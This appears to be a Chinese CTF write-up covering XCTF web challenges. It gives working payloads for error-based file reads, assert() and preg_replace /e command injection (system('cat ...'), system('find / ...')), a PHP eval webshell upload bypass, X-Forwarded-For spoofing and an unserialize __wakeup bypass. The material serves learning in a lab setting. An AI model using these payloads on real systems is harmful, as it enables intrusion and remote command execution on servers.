前言
又做了幾道攻防世界的Web題,總結一下。
Web1:Cat
題目沒提示。點開題目,以爲是命令執行。然而幾番嘗試後,發現並不是。。。
其它也沒什麼提示,沒思路了。偷瞄大佬博客
然後我開始復現,?url=%80
產生報錯,找到絕對路徑。
從配置文件settings.py的報錯中查看database的相關信息?url=@/opt/api/api/settings.py
?url=@/opt/api/database.sqlite3
,報錯信息中搜索ctf
Web2:ics-06
題目提示:設備管理基礎服務數據處,有入侵者的痕跡。這個地方應該就是題了。
看到?id=1
第一個想法便是SQL注入,結果失敗了。偷瞄大佬博客,發現需要爆破。於是我爆破id值
所以id=2333
時,返回長度不同,即可能返回了flag,查看得到flag
Web3:NewsCenter
emmm。題目報錯。。等題目正常了再更新總結。
Web4:mfw
題目沒提示,直接開始做題。先查看源碼
有個flag頁面,直接嘗試,發現返回空白頁面。然後再次發現有效信息,發現下面這個
Git?!難道存在git源碼泄露。果然是
使用GitHack.py
工具下載源碼,並打開
assert()函數
檢查一個斷言是否爲 FALSE。
bool assert ( mixed $assertion [, string $description ] )
如果 assertion 是字符串,它將會被 assert()
當做 PHP 代碼來執行。
PHP 之 assert()函數
strpos() 函數
查找字符串在另一字符串中第一次出現的位置。
file_exists() 函數
檢查文件或目錄是否存在。
審計源碼:
1、git傳入page並賦值給$page
。$file
等於templates目錄下的(page值).php
文件內容
2、如果strpos('$file', '..') === false
,$flie
會被 assert()
當做 PHP 代碼來執行。
3、用file_exists() 函數
檢查$file
文件是否存在。如果存在,返回文件內容。
然後就是拼接構造payload了(又偷瞄了大佬博客)
about.php', '123') === false and system('cat templates/flag.php') and strpos('templates/flag
最終,得到flag
Web5:NaNNaNNaNNaN-Batman
題目,沒有提示,只有個文件,下載查看
應該是js代碼(涉及了我的盲區,所以偷瞄大佬博客)。
eval() 函數:可計算某個字符串,並執行其中的的 JavaScript 代碼。
alert() 函數:用於顯示帶有一條指定消息和一個 確定按鈕的警告框。
修改整理如下:
function $(){
var e=document.getElementById("c").value;
if(e.length==16)
if(e.match(/^be0f23/)!=null)
if(e.match(/233ac/)!=null)
if(e.match(/e98aa$/)!=null)
if(e.match(/c7be9/)!=null){
var t=["fl","s_a","i","e}"];
var n=["a","_h0l","n"];
var r=["g{","e","_0"];
var i=["it'","_","n"];
var s=[t,n,r,i];
for(var o=0;o<13;++o){
document.write(s[o%4][0]);s[o%4].splice(0,1)
}
}
}
document.write('<input id="c"><button οnclick=$()>Ok</button>');
delete
js代碼一般可以在瀏覽器控制檯執行。加上<script></script>
標籤也可以在html執行。控制檯執行和html執行都是一個輸入框。
emmm。。。又不知道了(再次偷瞄)。
方法一:審計代碼,滿足關鍵變量e的正則條件
e.length==16
e.match(/^be0f23/)!=null
e.match(/233ac/)!=null
e.match(/e98aa$/)!=null
e.match(/c7be9/)!=null
^
表示開頭一定要匹配到be0f23,$
表示結尾一定要匹配到e98aa,其它的只要匹配到就行,沒有位置要求
於是我們構造e的值:be0f233ac7be98aa
將構造的e輸入到最初html執行的輸入框中得到flag
方法二:直接將下面代碼複製到控制檯執行
var t=["fl","s_a","i","e}"];
var n=["a","_h0l","n"];
var r=["g{","e","_0"];
var i=["it'","_","n"];
var s=[t,n,r,i];
for(var o=0;o<13;++o){
document.write(s[o%4][0]);s[o%4].splice(0,1)
}
Web6:upload
emmm。題目報錯。。等題目正常了再更新總結。
Web7:PHP2
題目沒有提示
百度翻譯一下,“你能瀏覽這個網站嗎?”
不能。。御劍掃描無果,源碼也無發現。url後加index.php
也不對。。。
看大佬wp,竟然是url後加index.phps
。。。
urldecode()函數
解碼 URL 字符串函數。
此函數用於解碼給出的已編碼字符串中的任何 %##以及中文等被編碼的內容。 (加號(’+’)被解碼成一個空格字符)。
該函數經常被使用於php解碼URL中的中文字符串。
相關函數:urlencode()函數,編碼URL字符串函數。
審計代碼,get傳入的id經過urldecode()函數解碼,如果解碼結果爲admin
,輸出“Access granted!”和Key值(即flag)。
嘗試對d進行url編碼,即傳入?id=a%64min
,失敗了。。。
於是再次分析代碼,發現是經過兩次urlencode()函數解碼。難道再對%
編碼?!%
編碼結果%25,
傳入?id=a%2564min
,得到flag
Web8:unserialize3
題目提示unserialize,即反序列化。總結過,所以直接做題
於是用serialize函數進行序列化(試過一句話,沒有成功)
<?php
class xctf{
var $flag = '111';
}
$class1 = new xctf;
$class1_ser = serialize($class1);
print_r($class1_ser);
?>
測試,發現顯示”bad requests“。
查詢百度發現,當序列化字符串表示對象屬性個數的值大於真實個數的屬性時就會跳過__wakeup的執行。
payload
?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}
得到flag
Web9:ics-05
題目提示:其他破壞者會利用工控雲管理系統設備維護中心的後門入侵系統
所以工控雲管理系統設備維護中心存在後門。查看源碼
幾經嘗試,發現,存在文件包含漏洞,可以使用php://filter
僞協議對index.php進行讀取
Base64解碼,找到關鍵代碼如下:
//方便的實現輸入輸出的功能,正在開發中的功能,只能內部人員測試
if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {
echo "<br >Welcome My Admin ! <br >";
$pattern = $_GET[pat];
$replacement = $_GET[rep];
$subject = $_GET[sub];
if (isset($pattern) && isset($replacement) && isset($subject)) {
preg_replace($pattern, $replacement, $subject);
}else{
die();
}
}
?>
代碼審計一下:
get傳入pat、rep、sub並分別賦值給變量$pattern
、$replacement
、 $subject
。如果設置了$pattern
、$replacement
、 $subject
,執行preg_replace($pattern, $replacement, $subject);
進行正則表達式的搜索和替換。
preg_replace( pattern , replacement , subject ) 函數
當pattern指明/e標誌時 ,preg_replace()會將replacement部分的代碼當作PHP代碼執行 (簡單的說就是將replacement參數值放入eval()結構中)
參考博客:深入研究PHP中的preg_replace和代碼執行
構造payload尋找flag:
?pat=/test/e&rep=system('find / -iname flag')&sub=test
源碼提示127.0.0.1,所以X-Forwarded-For進行欺騙,Forward發包
ls查看flag目錄內容
再通過cat命令,查看flag.php
內容。查看源碼,得到flag
Web10:bug
題目沒有提示。
打開題目,註冊用戶。進入到設置密碼頁面,修改密碼,抓包
嘗試更改用戶名爲admin。發包,提示IP禁止。
所以XFF(X-Forwarded-For)欺騙:X-Forwarded-For: 127.0.0.1
登錄成功。Where Is The Flag?查看源碼
filemanage,文件管理?!我學過文件上傳漏洞和文件包含漏洞。應該就是其中一種,嘗試之後發現do=upload
時,是文件上傳頁面。應該就是文件上傳漏洞了
上傳測試發現,只能上傳圖片
1、寫一個php文件,後綴改爲.jpg
,抓包改爲.php
進行文件類型繞過,結果失敗。
2、.php
改爲.php3
、.php5
也是失敗。
3、又想到做i春秋Web題Upload時,用到
<script language="pHp">@eval($_POST['a'])</script>
於是嘗試再嘗試,發現後綴還要是.php3
或.php5
才能繞過
發包得到flag
Web11:Triangle
還沒搞懂,過段時間補上總結
Web12:web2
題目提示:解密
相關函數
strrev()
:反轉字符串。
str_rot13()
:對字符串執行 ROT13 編碼。
base64_encode()
:對數據進行base64編碼
base64_decode()
:對數據進行base64解碼
審計php代碼,寫出PHP解密代碼
<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
function decode($miwen){
$_o=base64_decode(strrev(str_rot13($miwen)));//echo $_o;
for($_0=0;$_0<strlen($_o);$_0++){
$_c=substr($_o,$_0,1);
$__=ord($_c)-1;
$_c=chr($__);
$_=$_.$_c;
}
return strrev($_);
}
echo decode($miwen);
?>
還可以寫成python腳本進行解密。我不太會寫,引用大佬腳本:
import base64
def python_decode(string):
zimu = "abcdefghijklmnopqrstuvwxyz"
rot_13 =""
for i in string:
if i.isdigit():
rot_13 += i
else:
try:
rot_13 += zimu[zimu.index(i)-13]
except:
rot_13 += zimu[zimu.index(i.lower())-13].upper()
fz = rot_13[::-1]
base = base64.b64decode(fz)
base = [chr(ord(i)-1) for i in base]
fz = base[::-1]
print "".join(fz)
python_decode("a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws")
寫在後面
就先總結那麼多吧,後邊的題貌似很難。繼續努力吧。。。